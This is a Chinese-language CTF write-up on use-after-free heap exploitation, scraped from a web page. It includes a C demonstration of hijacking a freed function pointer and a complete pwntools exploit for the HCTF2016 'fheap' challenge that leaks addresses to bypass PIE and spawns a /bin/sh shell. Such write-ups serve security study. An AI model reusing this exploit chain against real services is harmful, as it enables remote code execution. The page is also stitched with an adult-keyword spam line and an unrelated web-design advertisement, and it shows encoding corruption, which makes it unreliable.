av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

逆向安全系列:Use After Free漏洞淺析

一、前言

成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于做網(wǎng)站、成都網(wǎng)站建設(shè)、泰山網(wǎng)絡(luò)推廣、成都微信小程序、泰山網(wǎng)絡(luò)營(yíng)銷、泰山企業(yè)策劃、泰山品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供泰山建站搭建服務(wù),24小時(shí)服務(wù)熱線:18980820575,官方網(wǎng)址:www.cdcxhl.com

想著接下來(lái)要寫(xiě)一個(gè)use after free的小總結(jié),剛好碰巧最近的湖湘杯2016的一題----game利用use after free可以解出來(lái)。這題是自己***次在比較正式的比賽中做出pwn題,做這題的時(shí)間花了不少,效率不高,但自己還是蠻開(kāi)心的,后面回頭做hctf2016的fheap這題,也可以用uaf解出來(lái),game這題題目的復(fù)雜度稍微高一點(diǎn),描述起來(lái)有點(diǎn)難,下面主要是用hctf的這道題來(lái)給大家講述原理。對(duì)于uaf漏洞,搜了下,uaf漏洞在瀏覽器中存在很多,有興趣的同學(xué)可以自己去查查。

二、uaf原理

uaf漏洞產(chǎn)生的主要原因是釋放了一個(gè)堆塊后,并沒(méi)有將該指針置為NULL,這樣導(dǎo)致該指針處于懸空的狀態(tài),同樣被釋放的內(nèi)存如果被惡意構(gòu)造數(shù)據(jù),就有可能會(huì)被利用。先上一段代碼給大家一個(gè)直觀印象再具體解釋。

 
 
 
 
  1. #include  
  2. #include  
  3. typedef void (*func_ptr)(char *); 
  4. void evil_fuc(char command[]) 
  5. system(command); 
  6. void echo(char content[]) 
  7. printf("%s",content); 
  8. int main() 
  9. func_ptr *p1=(int*)malloc(4*sizeof(int)); 
  10. printf("malloc addr: %p\n",p1); 
  11. p1[3]=echo; 
  12. p1[3]("hello world\n"); 
  13. free(p1); //在這里free了p1,但并未將p1置空,導(dǎo)致后續(xù)可以再使用p1指針 
  14. p1[3]("hello again\n"); //p1指針未被置空,雖然free了,但仍可使用. 
  15. func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一塊內(nèi)存后,再次申請(qǐng)同樣大小的指針會(huì)把剛剛釋放的內(nèi)存分配出來(lái). 
  16. printf("malloc addr: %p\n",p2); 
  17. printf("malloc addr: %p\n",p1);//p2與p1指針指向的內(nèi)存為同一地址 
  18. p2[3]=evil_fuc; //在這里將p1指針里面保存的echo函數(shù)指針覆蓋成為了evil_func指針. 
  19. p1[3]("whoami"); 
  20. return 0; 

這段代碼在32位系統(tǒng)下執(zhí)行。通過(guò)這段代碼可以大概將uaf的利用過(guò)程小結(jié)為以下過(guò)程:

1、申請(qǐng)一段空間,并將其釋放,釋放后并不將指針置為空,因此這個(gè)指針仍然可以使用,把這個(gè)指針簡(jiǎn)稱為p1。

2、申請(qǐng)空間p2,由于malloc分配的過(guò)程使得p2指向的空間為剛剛釋放的p1指針的空間,構(gòu)造惡意的數(shù)據(jù)將這段內(nèi)存空間布局好,即覆蓋了p1中的數(shù)據(jù)。

3、利用p1,一般多有一個(gè)函數(shù)指針,由于之前已使用p2將p1中的數(shù)據(jù)給覆蓋了,所以此時(shí)的數(shù)據(jù)既是我們可控制的,即可能存在劫持函數(shù)流的情況。

三、hctf2016--fheap

uaf原理還比較簡(jiǎn)單,下面就是具體的實(shí)踐了,這個(gè)漏洞復(fù)雜一些的話就和double free這些其他的堆的常見(jiàn)利用方法合起來(lái)一起出題,具體的可以看bctf2015的freenote。不過(guò)fheap這題用uaf直接就解決了。還有就是湖湘杯2016的game題,和fheap基本上是一樣的,這題大家跟出來(lái)了的話可以去做下game試下。先介紹fheap的功能。

A、程序功能

程序提供的功能比較簡(jiǎn)單,總共兩個(gè)功能:

1、create string

輸入create 后,接著輸入size,后輸入具體的字符串。相關(guān)的數(shù)據(jù)結(jié)構(gòu)則是:先申請(qǐng)0x20字節(jié)的堆塊存儲(chǔ)結(jié)構(gòu),如果輸入的字符串長(zhǎng)度大于0xf,則另外申請(qǐng)對(duì)應(yīng)長(zhǎng)度的空間存儲(chǔ)字符串,否則直接存儲(chǔ)在之前申請(qǐng)的0x20字節(jié)的前16字節(jié)處,在***,會(huì)將相關(guān)free函數(shù)的地址存儲(chǔ)在堆存儲(chǔ)結(jié)構(gòu)的后八字節(jié)處。相關(guān)示意圖描繪如下:

2、delete string

調(diào)用存儲(chǔ)在結(jié)構(gòu)體里的free_func這個(gè)指針來(lái)釋放堆,由于在釋放以后沒(méi)有將指針置空,出現(xiàn)了釋放后仍可利用的現(xiàn)象,即uaf。

B、查看防護(hù)機(jī)制

首先查看開(kāi)啟的安全機(jī)制

可以看到開(kāi)啟了PIE,在解題的過(guò)程中還需要繞過(guò)PIE,PIE是指代碼段的地址也會(huì)隨機(jī)化,不過(guò)低兩位的字節(jié)是固定的,利用這一點(diǎn)我們可以來(lái)泄露出程序的地址。

C、利用思路

總思路:首先是利用uaf,利用堆塊之間申請(qǐng)與釋放的步驟,形成對(duì)free_func指針的覆蓋。從而達(dá)到劫持程序流的目的。具體來(lái)說(shuō),先申請(qǐng)的是三個(gè)字符創(chuàng)小于0xf的堆塊,并將其釋放。此時(shí)fastbin中空堆塊的單鏈表結(jié)構(gòu)如下左圖,緊接著再申請(qǐng)一個(gè)字符串長(zhǎng)度為0x20的字符串,此時(shí),申請(qǐng)出來(lái)的堆中的數(shù)據(jù)會(huì)如下右圖,此時(shí)后面申請(qǐng)出來(lái)的堆塊與之前申請(qǐng)出來(lái)的1號(hào)堆塊為同一內(nèi)存空間,這時(shí)候輸入的數(shù)據(jù)就能覆蓋到1號(hào)堆塊中的free_func指針,指向我們需要執(zhí)行的函數(shù),隨后再調(diào)用1號(hào)堆塊的free_func函數(shù),即實(shí)現(xiàn)了劫持函數(shù)流的目的。

1、繞過(guò)PIE,在能劫持函數(shù)流之后,首先是泄露出程序的地址以繞過(guò)PIE,具體的方法是將free_func指針的***位覆蓋成"\x2d",變成去執(zhí)行fputs函數(shù),***變成去打印出free_func的地址,從而得到程序的基地址等。

2、泄露system函數(shù)地址,首先有了程序的地址后,可以得到printf函數(shù)的plt地址,從而想辦法在棧中部署數(shù)據(jù),使用格式化字符串打印出我們需要的地址中的內(nèi)容,使用DynELF模塊去泄露地址,具體可以看安全客之前有人寫(xiě)的一篇文章---借助DynELF實(shí)現(xiàn)無(wú)libc的漏洞利用小結(jié)。從而泄露出system函數(shù)的地址。

3、執(zhí)行system("/bin/sh")

最終調(diào)用system函數(shù)開(kāi)啟shell。

D、最終exp

exp最終如下,里面還有部分注釋。

 
 
 
 
  1. from pwn import * 
  2. from ctypes import * 
  3. DEBUG = 1 
  4. if DEBUG: 
  5.      p = process('./fheap') 
  6. else: 
  7.      r = remote('172.16.4.93', 13025) 
  8. print_plt=0 
  9. def create(size,content): 
  10.     p.recvuntil("quit") 
  11.     p.send("create ") 
  12.     p.recvuntil("size:") 
  13.     p.send(str(size)+'\n') 
  14.     p.recvuntil('str:') 
  15.     p.send(content.ljust(size,'\x00')) 
  16.     p.recvuntil('\n')[:-1] 
  17. def delete(idx): 
  18.    p.recvuntil("quit") 
  19.    p.send("delete "+'\n') 
  20.    p.recvuntil('id:') 
  21.     p.send(str(idx)+'\n') 
  22.     p.recvuntil('sure?:') 
  23.     p.send('yes '+'\n') 
  24. def leak(addr): 
  25.     delete(0) 
  26.     #printf函數(shù)格式化字符串打印第九個(gè)參數(shù)地址中的數(shù)據(jù),第九個(gè)剛好是輸入addr的位置 
  27.     data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt) 
  28.     create(0x20,data) 
  29.     p.recvuntil("quit") 
  30.     p.send("delete ") 
  31.     p.recvuntil('id:') 
  32.     p.send(str(1)+'\n') 
  33.     p.recvuntil('sure?:') 
  34.     p.send('yes01234'+p64(addr)) 
  35.     p.recvuntil('aa') 
  36.     data=p.recvuntil('####')[:-4] 
  37.     data += "\x00" 
  38.     return data 
  39. def pwn(): 
  40.     global print_plt 
  41.      create(4,'aa') 
  42.      create(4,'bb') 
  43.     create(4,'cc') 
  44.      delete(2) 
  45.     delete(1) 
  46.     delete(0) 
  47.     #申請(qǐng)三個(gè)堆塊,隨后刪除,從而在fastbin鏈表中形成三個(gè)空的堆塊 
  48.     #part1 覆蓋到fputs函數(shù),繞過(guò)PIE 
  49.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆蓋,泄露出函數(shù)地址。 
  50.     create(0x20,data)#在這里連續(xù)創(chuàng)建兩個(gè)堆塊,從而使輸入的data與前面的塊1公用一塊內(nèi)存。 
  51.     delete(1)#這里劫持函數(shù)程序流 
  52.     p.recvuntil('b'*0x8) 
  53.     data=p.recvuntil('1.')[:-2] 
  54.     if len(data)>8: 
  55.         datadata=data[:8] 
  56.     data=u64(data.ljust(8,'\x00'))-0xA000000000000 #這里減掉的數(shù)可能不需要,自行調(diào)整 
  57.      proc_base=data-0xd2d 
  58.     print "proc base",hex(proc_base) 
  59.     print_plt=proc_base+0x9d0 
  60.     print "print plt",hex(print_plt) 
  61.     delete(0) 
  62.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00' 
  63.     create(0x20,data) 
  64.     delete(1) 
  65.     p.recvuntil('b'*0x8) 
  66.     data=p.recvuntil('1.')[:-2] 
  67.     #part2 使用DynELF泄露system函數(shù)地址 
  68.      d = DynELF(leak, proc_base, elf=ELF('./fheap')) 
  69.     system_addr = d.lookup('system', 'libc') 
  70.     print "system_addr:", hex(system_addr) 
  71.      
  72.     #parts 執(zhí)行system函數(shù),開(kāi)啟shell 
  73.     delete(0) 
  74.     data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) 
  75.     create(0x20,data) 
  76.     delete(1) 
  77.     p.interactive() 
  78.     #### 
  79.     #利用的方式總結(jié)為 
  80.     #delete(0),將申請(qǐng)出來(lái)的堆塊添入到fastbin中 
  81.     #create(0x20,data),連續(xù)申請(qǐng)兩個(gè)堆塊,數(shù)據(jù)覆蓋1堆中的free_func指針 
  82.      #delete(1)劫持函數(shù)流,調(diào)用我們覆蓋的指針處的地址 
  83.     ### 
  84.     if __name__ == '__main__': 
  85.             pwn() 

執(zhí)行結(jié)果

四、小結(jié)

我感覺(jué)UAF最主要的是,在釋放了堆塊以后沒(méi)有將指針置空,后續(xù)過(guò)程中內(nèi)存空間數(shù)據(jù)被覆蓋為其他數(shù)據(jù)后,該指針仍然可以正常使用該內(nèi)存,從而導(dǎo)致數(shù)據(jù)的誤用。ctf題中容易碰見(jiàn)的是,釋放的堆塊中原本某個(gè)區(qū)域是用來(lái)存儲(chǔ)函數(shù)指針的,后面被惡意構(gòu)造的數(shù)據(jù)覆蓋成其他地址實(shí)現(xiàn)了劫持函數(shù)流的目的,從而有可能就被pwn掉了。


新聞標(biāo)題:逆向安全系列:Use After Free漏洞淺析
網(wǎng)頁(yè)地址:http://uogjgqi.cn/article/dpddsjj.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們?cè)谖⑿派?4小時(shí)期待你的聲音

解答本文疑問(wèn)/技術(shù)咨詢/運(yùn)營(yíng)咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流